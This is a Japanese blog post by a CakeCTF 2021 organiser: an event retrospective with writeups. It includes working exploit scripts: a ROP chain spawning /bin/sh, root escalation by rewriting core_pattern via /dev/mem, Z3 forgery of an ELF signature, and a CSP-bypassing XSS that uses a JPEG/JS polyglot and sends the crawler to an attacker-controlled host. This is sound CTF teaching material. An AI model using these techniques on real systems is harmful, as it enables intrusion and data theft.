CakeCTF 2021 開催記兼writeup
2021-08-30 00:00:15 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:155 收藏

いままでInterKosenCTFとしていたのが、チームinsecureからの高専生消滅*1により名前がCakeCTFに変わりました。 内容はあんまり変わっていませんが、今年は明示的に「中級者向け」としたつもりです。 が、なぜか初心者向けCTFとして認知されてしまった感があります。(もちろん初心者の参加も歓迎です。がっつり勉強してください。) 運営一同がんばって作問・インフラ管理しています。 3人で全部回してるので、多少サーバーが死んだりとかは目をつぶって欲しいな゛ぁ〜(ニャンちゅう

今回参加したけど全然解けなかったよ〜という方は是非いろんな人のwriteupを読んで復習してください。 結局過去問を復習して解いてる人間が将来的に勝つと思っています。

チーム参加で結構解いたわ〜という方は、チーム解散して個人での参加をご検討ください。

今回作った中で作問チェックを通過して(ほんまか?)無事出題できた問題は以下の通りです。

ジャンル 問題名 想定難易度 概要
pwn UAF4b warmup 猫でもわかるUAF
pwn JIT4b easy 猫にはわからないかもしれないJIT
pwn GOT it medium libcのGOT改竄
pwn Not So Tiger hard C++のvariantにおけるType Confusion
pwn hwdbg very hard 物理メモリの書き換えによるLPE
crypto improvisation easy LFSRの状態復元
rev rflag medium Rust製バイナリ, フラグ文字列を確定させる正規表現の構築
rev ALDRYA medium Z3を使ってELFの署名偽装
web MofuMofu Diary warmup 猫でもわかるLFI
web ziperatops medium glob、正規表現ファイルシステム等の誤った使用による任意ファイルアップロード
web My Nyamber medium JavaScript正規表現の闇仕様
web Travelog hard CSP回避, JPEG+JS polyglot
cheat Yoshi-Shogi easy サーバーとの通信を改変するチート
cheat Kingtaker medium ブラウザのメモリ内容を改竄するチート

作問チェックも頑張って3人でやりました。 こんな感じでチェックできていないやつもちらほらあります。 例年よりチェックできていない問題が多いのは、作問チェック大臣のyoshikingが一時行方不明になって捜索届を出していたのも一因です。

f:id:ptr-yudai:20210829235401p:plain

[pwn] UAF4b

やるだけUse-after-Free。

hackmd.io

[pwn] JIT4b

INT_MINは地獄。

hackmd.io

[pwn] GOT it

libcのGOT overwrite。

hackmd.io

[pwn] Not So Tiger

もともとhard枠にはWindows Exploitを用意していたのですが、AWSWindows Serverが地獄のような挙動をして問題設定ではexploitが困難になったのでボツにしました。 そして急遽速攻で作ったのがこの問題になります。即席にしては意外と評判が良かったです。

概要

ベンガル猫、オシキャット、オセロット、サバンナ猫って見た目が似ている*2からtype confusion起こしそうだよね?という猫科好きpwnerなら誰もが考えるであろうテーマを問題にしました。

プログラムでは、C++ 11から導入されたvariantというSTLコンテナを利用して各種猫のクラスを管理しています。 クラスのうちOcicatとOcelotだったかはnameをポインタでなくchar配列として管理していることにも注目です。

想定解法

まずcinによるスタックオーバーフローがあります。 しかしcanaryが有効でポインタっぽいデータもないので単純には悪用できません。

std::variantの構造は単純で、基底となる型のunionの最後に1バイトの型情報が付加される形になっています。 Ocelotなどのコンストラクタでstrcpyを使っているため、std::variantの型情報をBOFで書き換えられます。 これを使いOcelotをBengal CatにするType Confusionを起こせば、ageとnameのポインタが被るため任意アドレスreadが実現できます。

PIEが無効なのでlibcのアドレスをリークし、そこからさらにスタックのアドレス、スタックcanaryと順にリークしていけば最初のBOFでROPが可能です。

from ptrlib import *

def new(type, age, name):
    sock.sendlineafter(">> ", "1")
    sock.sendlineafter(": ", str(type))
    sock.sendlineafter(": ", str(age))
    sock.sendlineafter(": ", name)
def get():
    sock.sendlineafter(">> ", "2")
    return sock.recvlineafter("Name: ")
def set(age, name):
    sock.sendlineafter(">> ", "3")
    sock.sendlineafter(": ", str(age))
    sock.sendlineafter(": ", name)

elf = ELF("./distfiles/chall")
libc = ELF("./distfiles/libc-2.31.so")



HOST = os.getenv('HOST', 'localhost')
PORT = os.getenv('PORT', '9004')
sock = Socket(HOST, int(PORT))


new(2, 777, "tama")
set(elf.symbol("stdout"), "A" * 0x20)
libc_base = u64(get()) - libc.symbol('_IO_2_1_stdout_')
logger.info("libc = " + hex(libc_base))
libc.set_base(libc_base)


new(2, 777, "tama")
set(libc.symbol("environ"), "A" * 0x20)
addr_stack = u64(get())
logger.info("stack = " + hex(addr_stack))


new(2, 777, "tama")
set(addr_stack - 0x120 + 1, "A" * 0x20)
canary = u64(get()[:7]) << 8
logger.info("canary = " + hex(canary))


rop_ret = 0x00403a34
rop_pop_rdi = 0x00403a33
payload  = b'B'*0x88
payload += p64(canary)
payload += p64(0xdeadbeefcafebabe)*3
payload += p64(rop_ret)
payload += p64(rop_pop_rdi)
payload += p64(addr_stack - 0xe0)
payload += p64(libc.symbol('system'))
payload += b'/bin/sh\0'
new(0, 777, payload)
sock.sendlineafter(">> ", "0")


sock.sendline("cat flag*")
print(sock.recvuntil("}"))

[pwn] hwdbg

概要

KASLR, KPTI, SMAP, SMEPが有効なカーネル環境が配布されます。 問題文に書いてある通り、/bin/hwdbgというrootでsetuidされたバイナリがあります。 ソースコードを読むと、このプログラムは/dev/memの任意のオフセットに対して任意のデータを書き込めるようになっています。

/dev/memはマシンの物理メモリを直接読み書きできるデバイスファイルです。 したがって、これは「物理メモリを書き換えてroot取れますか」という問題になっています。

想定解法

物理メモリにはアドレスのランダム化という概念はないので今回の問題でKASLRは意味がありません。 また、これも当たり前ですが/dev/memSMAPやKPTIに関わらずデータを読み書きできます。

/proc/iomemというファイルには物理メモリのアドレスマップが記載されています。 このファイルを読むと、カーネル空間のデータが物理メモリのどこにマップされているかが分かります。

/ # cat /proc/iomem 
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c99ff : Video ROM
000ca000-000cadff : Adapter ROM
000cb000-000cb5ff : Adapter ROM
000f0000-000fffff : Reserved
  000f0000-000fffff : System ROM
00100000-03fdffff : System RAM
  02600000-03000c36 : Kernel code
  03200000-033b3fff : Kernel rodata
  03400000-034e137f : Kernel data
  035de000-037fffff : Kernel bss
03fe0000-03ffffff : Reserved
04000000-febfffff : PCI Bus 0000:00
  fd000000-fdffffff : 0000:00:02.0
    fd000000-fdffffff : bochs-drm
  fe000000-fe003fff : 0000:00:03.0
    fe000000-fe003fff : virtio-pci-modern
  feb00000-feb7ffff : 0000:00:03.0
  feb90000-feb90fff : 0000:00:02.0
    feb90000-feb90fff : bochs-drm
  feb91000-feb91fff : 0000:00:03.0
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
  fed00000-fed003ff : PNP0103:00
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : Reserved
100000000-17fffffff : PCI Bus 0000:00

例えばカーネル空間のコードは0x02600000から配置されていることが分かります。 /proc/kallsymsから得た関数のオフセットなどを足せば、カーネルコードを任意の機械語で書き換えることができます。

また、0x03400000からのデータ領域にあるmodprobe_path等の変数を書き換えても権限昇格できます。 想定解スクリプトではcore_patternを書き換えました。do_coredumpformat_corename内でcall_usermodehelperだったかにユーザーランドプログラムの呼び出しが依頼されるのですが、このときcore_patternという文字列を見て|から始まる場合は続くファイル名のプログラムをroot権限で実行するようになっています。

非想定解

hwdbg自体のメモリ領域を書き換えてシェルコードを注入すれば(rootプロセスなので)これでも権限昇格できます。 同じことですが、こっちの方がカーネルの知識がいらないので簡単らしい。

[crypto] improvisation

概要

フィボナッチLFSRの問題です。 諸事情によりcryptoの難易度を大幅に下げることになり、急遽easy問が必要になったので入れました。

想定解法

assertされているフラグの先頭文字列から単純にLFSRの状態を復元すれば終わりです。

with open("distfiles/output.txt", "r") as f:
    c = int(f.read(), 16)
    c = int(bin(c)[2:][::-1], 2)

cc = c << 1
prefix = int.from_bytes(b'CakeCTF{', 'little')
seed = (cc & ((1<<64)-1)) ^ prefix

lfsr = LFSR(seed)
m = 0
while cc:
    m = (m << 1) | ((cc & 1) ^ next(lfsr))
    cc >>= 1

print(int.to_bytes(int(bin(m)[2:][::-1], 2), 64, 'little').rstrip(b'\x00'))

[rev] rflag

概要

Rust製プログラムのrevです。 といっても初心者でも解けるよう実質revは不要にしています。 strings等で見ると正規表現の存在が分かります。

解法

16進数32文字の文字列に対して正規表現を与えると、マッチした箇所を返してくれます。 次のように分割統治法的な考え方で位置を特定できます。

rlist = [
    "[0-7]", "[012389ab]", "[014589cd]", "[02468ace]"
]
m = 16
for rnd in range(4):
    sock.sendlineafter(": ", rlist[rnd])
    response = eval(sock.recvlineafter(": "))
    for i in range(32):
        if guess[i][0] % m == 0:
            if i in response:
                guess[i] = (guess[i][0], guess[i][0] + m//2)
            else:
                guess[i] = (guess[i][0] + m//2, guess[i][0] + m)
        else:
            if i in response:
                guess[i] = (guess[i][1], guess[i][1] + m//2)
            else:
                guess[i] = (guess[i][1] + m//2, guess[i][1] + m)
    m //= 2

answer = ''
for i in range(32):
    answer += f'{guess[i][0]:x}'

[rev] ALDRYA

概要

なんかELFの検証機構みたいなのを実装したバイナリです。 これカーネルで検証する問題にしようか迷ったのですが、1桁solveの未来が見えたのでやめました。

署名自体はなんかローテーションしなからxorする32-bitのハッシュ関数的なのを使っています。

想定解法

ハッシュ関数のローテーションは1ビットずつで、1イテレーションにつき1バイト処理するので、理論上32バイトあればどんなハッシュ値も実現できます。 Z3などでこれを実装すれば、任意のELFファイルの署名を偽装できます。

ただし、0x100バイトずつ署名しているのである程度小さいELFを作り、破壊して良い場所を見つける必要があります。

from z3 import *
import os
import struct

def ror32(v):
    if isinstance(v, int):
        return (v >> 1) | ((v & 1) << 31)
    else:
        return RotateRight(v, 1)

def collide_chunk(chunk, ans):
    prefix = chunk[:-32]
    postfix = [BitVec(f'p{i}', 8) for i in range(32)]
    h = 0x20210828
    for c in prefix:
        h = ror32(h ^ c)
    for c in postfix:
        h = ror32(h ^ ZeroExt(24, c))
    s = Solver()
    s.add(h == ans)
    r = s.check()
    if r != sat:
        print(r)
        exit(1)
    m = s.model()
    for c in postfix:
        prefix += bytes([m[c].as_long()])
    return prefix

os.system("nasm exploit.S -o exploit.o -fELF64")
os.system("ld exploit.o -o exploit")
os.system("strip --strip-all exploit")

with open("../distfiles/sample.aldrya", "rb") as f:
    n = struct.unpack("<I", f.read(4))[0]
    hlist = struct.unpack("<"+"I"*n, f.read(4*n))

output = b''
with open("exploit", "rb") as f:
    for i in range(n):
        chunk = f.read(0x100)
        if len(chunk) == 0:
            with open("../distfiles/sample.elf", "rb") as fs:
                fs.seek(i * 0x100)
                output += fs.read(0x100)
        else:
            chunk += b'\x00' * (0x100 - len(chunk))
            output += collide_chunk(chunk, hlist[i])

with open("malicious", "wb") as f:
    f.write(output)

[web] MofuMofu Diary

猫でもわかるLFI。

hackmd.io

[web] ziperatops

globにまつわる問題です。

hackmd.io

[web] My Nyamber

JavaScriptを書いていたときに正規表現が思わぬ挙動をしたので問題にしました。

hackmd.io

[web] Travelog

概要

ブログサービスで、JPEGのアップロードも可能です。 HTMLが書けるのでXSSがありますが、CSPが有効でscriptは実行できません。

想定解法

まずJPEGのアップロードですが、ファイルタイプのチェックにはpython標準のimghdrというモジュールを使っています。 実はこのモジュールはゴミで、”JFIF”があるかしか見ていません。そのためpolyglot書き放題となっています。

次に、ブログのページでは /show_utils.js のようなスクリプトを読み込んでいます。 この前にブログ内容が入るのですが、base-uriselfになっているので、base directoryをアップロードディレクトリにすれば事前にアップロードしたshow_utils.jsが信頼できるscriptとしてロードされ、XSSになります。

import requests
import re
import base64
import json
import os

URL = 'http://{}:{}'.format(os.getenv("HOST", "localhost"), os.getenv("PORT", "8001"))

def decode_base64(data):
    data = re.sub(r'[^-a-zA-Z0-9_]+', '', data)
    missing_padding = len(data) % 4
    if missing_padding:
        data += '='* (4 - missing_padding)
    return base64.b64decode(data, '-_').decode()


cred = {'username': 'niko7654321', 'password': 'bulb'}
r = requests.post(f'{URL}/login', data=cred, allow_redirects=False)
cookies = r.cookies
user_id = json.loads(decode_base64(cookies['session'].split('.')[0]))['user_id']
print(f"[+] user_id = {user_id}")


exploit  = b'nyan/*JFIF*/=1;'
exploit += b'''location.href="http://your-server.xxx/"'''
files = {'images[]': ('show_utils.js', exploit, 'image/jpeg')}
r = requests.post(f'{URL}/upload', files=files, cookies=cookies)


payload = {
    'title': 'exploit',
    'contents': f'<base href="/uploads/{user_id}/XXX/YYY/">'
}
r = requests.post(f'{URL}/post', data=payload, cookies=cookies)
print(re.findall("value=\"(http://.+)\" id=", r.text)[0])

これをクローラに踏ませると自分のサーバーにフラグが飛んできます。

非想定解法

UAにフラグを入れていたので<meta>タグでリダイレクトさせると解けました。悲しいね。

そして修正後の問題もなんやかんや頑張るとmetaで解けるという。Webなんもわからん。

[cheat] Yoshi-Shogi

概要

yoshikingと将棋が指せる夢のゲームです。

通常モードではyoshikingと普通の将棋が指せ、フラグモードではyoshiking側の歩兵すべてと飛車角が成った状態(サバンナ高橋ルール*3)からスタートします。 フラグモードで1回でも勝利するとフラグが貰えますが、yoshiking側のAIが若干バグってて王手無視とかが可能です。(それで勝てる訳ではない。)

想定解法

チート問に対するアプローチは様々でしょうが、ここでは想定解を説明します。 Rust製ELFで、チート問ですのでバイナリの解析は不要で、stringsなどの使用を想定しています。

そもそも将棋のようなただでさえAIを作るのが困難で何手も先を読むのに、yoshiking AIはCPUをほとんど使いません。 この時点でAI本体は別のサーバーにあり、それと通信していることが推測できます。 実際にstringsコマンドなどで将棋アプリを調べると、「yoshi-shogi.cakectf.com」というドメインが出てきます。

[省略]
valuesrc/main.rsonmlkjhgfedcbaONMLKJHGFEDCBApsrPSRhttp://yoshi-shogi.cakectf.com:15061/ponder?position=&hand=&move=wbestmovePromote?JSON Error => You win
[省略]

そこでWiresharkなどを使ってパケットを観測すると、次のような通信をしていることが分かります。

f:id:ptr-yudai:20210829024529p:plain

ここで、

/ponder?position=lnsgkgsnl/1r5b1/ppppppppp/9/9/2P6/PP1PPPPPP/1B5R1/LNSGKGSNL&hand=-&move=w

というパラメータと

{"bestmove":"3c3d"}

というレスポンスがどのような意味を持つかが気になります。 「LNSGKGSNL」などのワードで調べると、これは「Universal Shogi Interface; USI」というプロトコルであることが分かります。 実際に負けるまで試すとUSI特有のresignとかwinとかが返ってくると思います。

USIプロトコルの仕様書を読むと、次のような記載があります。

bestmove [ponder ]

bestmove [resign | win]

The engine has stopped searching and found the move best in this position. The engine can send the move it likes to ponder on. The engine must not start pondering automatically. this command must always be sent if the engine stops searching, also in pondering mode if there is a stop command, so for every go command a bestmove command is needed! ((Shogidogoro) except after the combination "go mate", where this must be a checkmate command instead.) Directly before that the engine should send a final info command with the final search information, the the GUI has the complete statistics about the last search.

そこで、/etc/hostsなどを使ってyoshi-shogi.cakectf.comをローカルホストに向け、ローカルで次のようにresignを必ず返すサーバーを建てます。

$ printf 'HTTP/1.1 200 OK\r\nContent-Length: 21\r\n\r\n{"bestmove":"resign"}' | nc -lnvp 15061

この状態でフラグモードで遊ぶと、yoshikingの負け判定になりすぐにフラグが出てきます。

f:id:ptr-yudai:20210829025939p:plain

[cheat] Kingtaker

概要

yoshikingが王冠を集めるという、かつてないほど斬新なパズルゲームがブラウザで遊べます。

f:id:ptr-yudai:20210829030240p:plain

まずソースコードを見るとGameMaker:Studio製なのは自明なのですが、肝心のゲーム本体のJavaScriptは難読化されていて読めません*4。 そしてこのゲームを普通に遊ぶと、3ステージ目はたぶん歩数が足りなくて解けません。 そして4ステージ目はそもそも箱が邪魔で*5王冠に到達できないので解けません。

想定解法

CheatEngine等を使ってブラウザそのもののメモリハックをすれば解けます。 ゲームを動かしているrenderer processにアタッチし、カウンタや座標を特定します。

次の条件のときはチート判定が出るので注意です。

  • ダンボール箱とyoshikingが重なっている
  • カウンタの値が異常に大きい

これを回避して5ステージクリアすればフラグが貰えます。

今年は賞品を出すことにしました。 自腹切って出すつもりだったのですが、なんとたくさんの個人スポンサーが財政支援をしてくださり無事自腹切らずに済みそうです。 本当にありがとうございます。 スポンサーの方にも賞品はお送りいたします。

今回First-Blood Prizeというのを用意しました。 日本向けCTFでタイムゾーンが揃うので試験導入したのですが、結果としてあまりよくなかったと思います。 そもそもこのprizeは個人戦や非プロでも取れるprizeという目的で用意したのですが、結局ほとんどの賞品をプロチームが取る結果になりました。かなしいね。 まぁ上位チームが賞品を辞退する可能性もあるので、今回に関してどうなるかはなんとも言えません。

なんか良いアイデアがあれば募集しています。

あと賞品の内容ですが、1つは大量発注してすでに確定しています。 他は試作品みたいなのがある段階で確定ではないので、欲しいもの(ポロシャツ、ステッカーとか)があれば教えてください。

今年は序盤の激ヤバグやTravelogの非想定解などでバタついていましたが、良かった点もあります。 個人的に最も良かったのは運営中の微妙に暇な時間の潰し方です。 なんと今回はボードゲームを採用しました。(意味不明)

ホワイト企業なので、Discordを横目に運営でオンラインゲームをしていました。 次のようなゲームをしました。

  • 2Dバレーボール(初日のyoshikingは弱い。2日目はオリンピック予選レベル。)*6
  • お絵描きゲーム集(yoshikingの絵心がやばい。ふるつきのお題が難解。)
  • レーダー作戦ゲーム(戦艦沈没ゲーム。yoshikingが強い。)
  • SOLO(UNOみたいなやつ)
  • チャイニーズチェッカー
  • チェス(yoshikingも弱い)
  • 五目並べ
  • リバーシ(yoshikingが強い)
  • ゴーファー(ルール読まず初見プレイ。結局最後まで勝利条件が分からんかった。)
  • なんか線の上に石置いて動かすやつ(ルール読まず初見プレイ。名前忘れた。)
  • HEX(yoshikingが数十手先まで読んでコマを置く神のプレイを魅せてくれた。)

指定したユーザーとついたて将棋をオンラインで遊べるサービスがあったら募集しています。

毎年Surveyをしていますが、なんとなくしている訳ではなくみんなの意見を参考にしています。 特に詳しく書いてくれている意見はかなり高い確率で次の年に採用されます。

まずqualityですが、まぁ最初サーバーを閉じたにしては良い感じだと思います。

f:id:ptr-yudai:20210829230213p:plain

次に難易度ですが、今まで「難しすぎる」に寄りがちだったのが若干緩和された感があります。 でも比較的難しい問題は必ず出します。みんなで全完みたいなCTFはうちでは開催しませんので、ご了承ください。 (たぶんそういうのはcpawみたいな常設で無限に遊べると思う。)

f:id:ptr-yudai:20210829230242p:plain

期間は36hで良さそう。

f:id:ptr-yudai:20210829230431p:plain

面白い問題は結構ばらつきが出ました。 非warmupではKingtakerとTravelogが人気です。Kingtakerは頑張って作った*7ので嬉C。

f:id:ptr-yudai:20210829230629p:plain

面白くない問題はtelepathyとimprovisationでしょうか。 いつも「もうちょっと典型を出しても良いのでは?」という声があったのでimprovisationを作ったのですが、やっぱり典型問は嫌いなんじゃないか。

f:id:ptr-yudai:20210829230802p:plain

今回、去年のアンケートを参考にした点としては

  • 問題公開スケジュールを事前に知らせて欲しい
  • 20時終了だと社会人でもwriteupを書く時間が取れる
  • 1文字ずつフラグをリークするような問題はフラグを短めに(出してないけど)
  • 格子暗号を出して欲しい
  • reconやmiscが欲しい(telepathyは完全miscだと思ってこれは済にしました)
  • もう少し簡単な問題も欲しい(今回は私がcrypto難易度警察して難しいものを複数問denyしました)
  • cheatジャンルは次回も欲しい
  • flagの入力箇所が小さい/わかりにくい
  • 自分のチームの順位を全体ランクと別に見たい
  • solve済みかがわかりにくい

です。たぶん対応したり修正したりできていると思います。 一方、今回対応できなかったリクエストは以下の通りです。ごめんね。

  • ちゃんと楕円曲線した問題が欲しい
  • ファイルはzipで配布して欲しい

こんな感じで運営一同アンケートは参考にしており、長文回答をお待ちしています。

おまけ。

これすごい。

https://t.co/XbfFZ5lV3u pic.twitter.com/4oZke6GsEK

— so🏝🦊 (@3socha) 2021年8月29日

New challenge is released!

f:id:ptr-yudai:20210829234151p:plain


文章来源: https://ptr-yudai.hatenablog.com/entry/2021/08/30/000015
如有侵权请联系:admin#unsafe.sh